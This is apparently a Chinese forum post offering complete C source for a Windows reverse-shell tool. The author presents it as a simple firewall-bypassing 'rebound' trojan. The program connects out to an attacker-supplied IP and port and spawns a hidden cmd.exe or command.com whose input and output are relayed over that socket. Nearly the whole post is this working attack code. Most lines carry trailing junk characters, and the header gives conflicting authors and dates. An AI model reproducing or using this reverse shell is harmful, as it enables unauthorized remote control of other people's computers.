这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 O@7={)6qc
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/* ============================== y-R:-K XH=
Rebound port in Windows NT JXKo zy41
By wind,2006/7 me`|i-
===============================*/ %}ASll0uq
#include *If]f0?%
#include 96P3B}Dk
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#pragma comment(lib,"wsock32.lib") k.K;7GZC
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void OutputShell(); ^QbaMX
SOCKET sClient; M?G4k]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -xMM}r
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void main(int argc,char **argv) v#E RXIrf
{ I?#B_ R#
WSADATA stWsaData; D FN
int nRet; EhK~S(r^
SOCKADDR_IN stSaiClient,stSaiServer; .N~YVul[a*
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if(argc != 3) Ps=<@,dks
{ )sBbmct_S
printf("Useage:\n\rRebound DestIP DestPort\n"); :j[a X7Sq2
return; c,FhI~>R
} D4;6}gRC
l>{+X )
WSAStartup(MAKEWORD(2,2),&stWsaData); (rB?@:zN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wfY]J0l
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stSaiClient.sin_family = AF_INET; w8298Kl
stSaiClient.sin_port = htons(0); ^/_1y[j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .In8!hjYy4
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u(b Pdf@kz
{ 5l,Q=V^@l
printf("Bind Socket Failed!\n"); yE>f.|(
return; $,DX^I%!
} 0{zA6Xu
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stSaiServer.sin_family = AF_INET; K.I\E
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hJasnY7
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ` 8OA:4).
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F%F :Gr/
{ yMCd5%=M\
printf("Connect Error!"); a]nyZdt`
return; rn"}@5
} +~cW0z
OutputShell(); $kCXp.#k@~
} [2Rw)!N
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void OutputShell() I$vM )+v=
{ FEqR7
char szBuff[1024]; p&<X&D
SECURITY_ATTRIBUTES stSecurityAttributes; v.pj
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OSVERSIONINFO stOsversionInfo; }Pf7YuUZZ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #M5[TN!
STARTUPINFO stStartupInfo; Tt*n.HA
char *szShell;
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PROCESS_INFORMATION stProcessInformation; DX)T}V&mP
unsigned long lBytesRead; Z2soy-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N,Ys}qP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :.%Hu9=GL
stSecurityAttributes.lpSecurityDescriptor = 0; ({l !'>?
stSecurityAttributes.bInheritHandle = TRUE; A"`(^#a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ee5QZ,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8`j;v>2
l:
X]$2;
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u%`4;|tI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S/l?wwD
stStartupInfo.wShowWindow = SW_HIDE; +ysP#uAA
stStartupInfo.hStdInput = hReadPipe; =|G l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; glvtumv
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GetVersionEx(&stOsversionInfo); {2,OK=XM|
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switch(stOsversionInfo.dwPlatformId) p"XQJUuD
{ .Lc<1s
case 1: i'}Z>g5D
szShell = "command.com"; (HZzA7eph
break; !`-/E']/
default: F6xQ`T|
szShell = "cmd.exe"; hc4W|Ofj
break; lY_&P.B
} ZZXQCP6]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1]lm0bfs
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send(sClient,szMsg,77,0); ]/y&5X
while(1) 3#@ETt0X(
{ &bO0Rn1F
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "jyh.@<
if(lBytesRead) 38hA guZX
{ Im\{b=vT
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MxXu&.|_
send(sClient,szBuff,lBytesRead,0); ,:!dqonn
} Y=#g_(4*
else 4LBMhLy
{ i1#\S0jN
lBytesRead=recv(sClient,szBuff,1024,0); X)K3X:~L+
if(lBytesRead<=0) break; :"aCl~cy9g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YLfZ;W|6u
} f9Hm2wV
} {t;{={$
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return; v!pT!(h4
}